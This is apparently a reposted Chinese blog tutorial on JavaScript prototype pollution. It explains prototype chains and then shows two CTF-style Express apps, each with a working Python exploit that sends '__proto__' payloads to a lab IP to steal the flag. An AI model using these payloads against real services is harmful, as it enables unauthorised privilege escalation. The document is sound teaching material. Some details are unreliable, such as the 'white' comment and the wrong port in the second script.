对JS原型链污染的理解

目录

一、JS原型链

1.基础属性

1.1prototype属性

1.2__proto__属性

1.3constructor属性 

2.原型链概念

二、原型链污染例题

1.例题1

2.例题2 


一、JS原型链

1.基础属性

要了解JS原型链就要先了解prototype、__proto__、constructor这三个属性

1.1prototype属性

function Animal(name) {
  this.name = name,
  this.meow = function () {
    console.log('喵喵')
  }
}
Animal.prototype.color = 'yellow'

var cat1 = new Animal('大毛')
var cat2 = new Animal('二毛')

console.log(cat1.color) // 'white'
console.log(cat2.color) // 'white'
console.log(cat1.meow === cat2.meow) //false

上面代码中,cat1cat2是同一个构造函数的两个实例,它们都具有meow方法。由于meow方法是生成在每个实例对象上面,所以两个实例就生成了两次。也就是说,每新建一个实例,就会新建一个meow方法。这既没有必要,又浪费系统资源,因为所有meow方法都是同样的行为,完全应该共享。

而prototype属性解决了这个问题,上面代码中我们使用Animal构造函数的prototype属性,将Animal的原型对象添加了color属性,原型对象的color属性的值变为yellow,两个实例对象的color属性立刻跟着变了。这是因为实例对象其实没有color属性,都是读取原型对象的color属性。也就是说,当实例对象本身没有某个属性或方法的时候,它会到原型对象去寻找该属性或方法。这就是原型对象的特殊之处。

但如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

1.2__proto__属性

实例对象可以通过__proto__访问其原型对象:

而经过不断的调用,最终的原型对象会调用到null,这将作为该原型链的最后一个环节,与之对应的,作为终点的null自然也是没有原型对象的。比如,我们继续在上面的例子中调用其原型对象:

1.3constructor属性 

 prototype对象有一个constructor属性,默认指向prototype对象所在的构造函数。

constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

 

实例cat1本身并没有constructor属性,其实是读取原型链上面的Animal.prototype.constructor属性。  

2.原型链概念

每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链",是一种用于对象继承的特性。

引用上面的例子,这里就形成了一条原型链,cat1实例的最终原型对象是null

当位于下层的对象本身没有某个属性或方法的时候,它会去寻找它的上层原型对象的属性或者方法。这里我们便可以污染上层原型对象,使其具有下层对象本身并不具有的方法和属性,来达到我们的目的

二、原型链污染例题

1.例题1

使用nodejs,这里注意安装依赖环境---npm install hbs.......

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}

function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];

    }
    res.render('index');
})


app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)


app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;

    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }

    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 

    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }

    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }

})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

审计上述代码,找到我们能够可控的参数,最终发现这一条赋值语句

matrix[client.row][client.col] = client.data;

再看看拿到flag的if条件

条件是user数组必须有admintoken这个属性,并且该属性的md5值必须等于传入的属性值

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 

由于赋值语句中的data是可控的,matrix和user是在全局下定义的数组,所以我们可以利用这条语句传入我们的payload,污染原型链,此时可以这样理解

matrix[client.row][client.col] = client.data;
//等同于
matrix.client.row.client.col = client.data;
//传参后变成
matrix.__proto__.admintoken = md5(admin);

这里使用python发送post请求(记得在pip中下载requests包)

import requests
import json

url1 = "http://192.168.239.138:3000/api"
url2 = "http://192.168.239.138:3000/admin?querytoken=21232f297a57a5a743894a0e4a801fc3"

s = requests.session()

headers = {"Content-type": "application/json"}
data1 = {"row": "__proto__", "col": "admintoken", "data": "admin"}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)

print(res2.text)

这里注意,如果我们直接传入"__proto__",编译器不会把它当做键值,需要使用json.parse转为对应的值

运行Python代码,发送post请求,成功拿到flag

2.例题2 

其实还有两个对象可以造成原型链污染

  • 对象merge 结合 拼接

  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 复制

示例:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)//1,2

o3 = {}
console.log(o3.b)//2

上述代码中,我们将o1,o2对象传入merge函数,for循环中的key就是a和__proto__,if判断,明显o1中都没有这两个key,都走到了else,将o2中的a和__proto__赋值给了o1,此时

o1.a=1

o1.__proto__ = { b : 2 }  也就等价于  o1.__proto__.b = 2,即o1的原型对象Object.b = 2,这样我们就把原型链污染了,此时o3在全局下定义,虽然o3本身并没有b属性,但是它的原型对象Object有,且等于2,所以输出了2

下面我们再来看例题

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var admin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.admin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

上述代码出现了merge、clone属性,大概率会有原型链污染漏洞

先看拿到flag的if条件,需要admin对象有admin属性,且值为1

if (admin.admin == 1) {
        res.send("hackim19{}");

再看传参的地方

    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)

我们可以控制的参数是body,然后它使用json.stringify方法把数据转为json格式,再用parse方法转回赋给body对象,然后把body clone后的结果返回给copybody,这时候我们来看clone和merge属性

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

clone函数里返回的是merge函数的结果,merge函数的过程跟上面讲的merge属性是相似的,就是把一个空对象与传入的body对象进行结合,if判断后都走到了else里,将b的属性赋值给了a,即

{}.__proto__.admin=1,也就是Object.admin=1,这样成功污染原型链,admin对象本身并不具有admin属性,但是我们给Object赋了一个admin属性,所以admin.admin=1成立,成功拿到flag

我们还是使用Python发送请求

import requests
import json

url1 = "http://192.168.239.138:3000/signup"
url2 = "http://192.168.239.138:3000/getflag"

headers = {"Content-type": "application/json"}

data1 = {"name":"aaa" , "__proto__" : {"admin" : 1}}

res1 = requests.post(url1, headers=headers, data = json.dumps(data1))

res2 = requests.get(url2)

print(res2.text)

成功拿到flag

猜你喜欢

转载自blog.csdn.net/CQ17743254852/article/details/131986579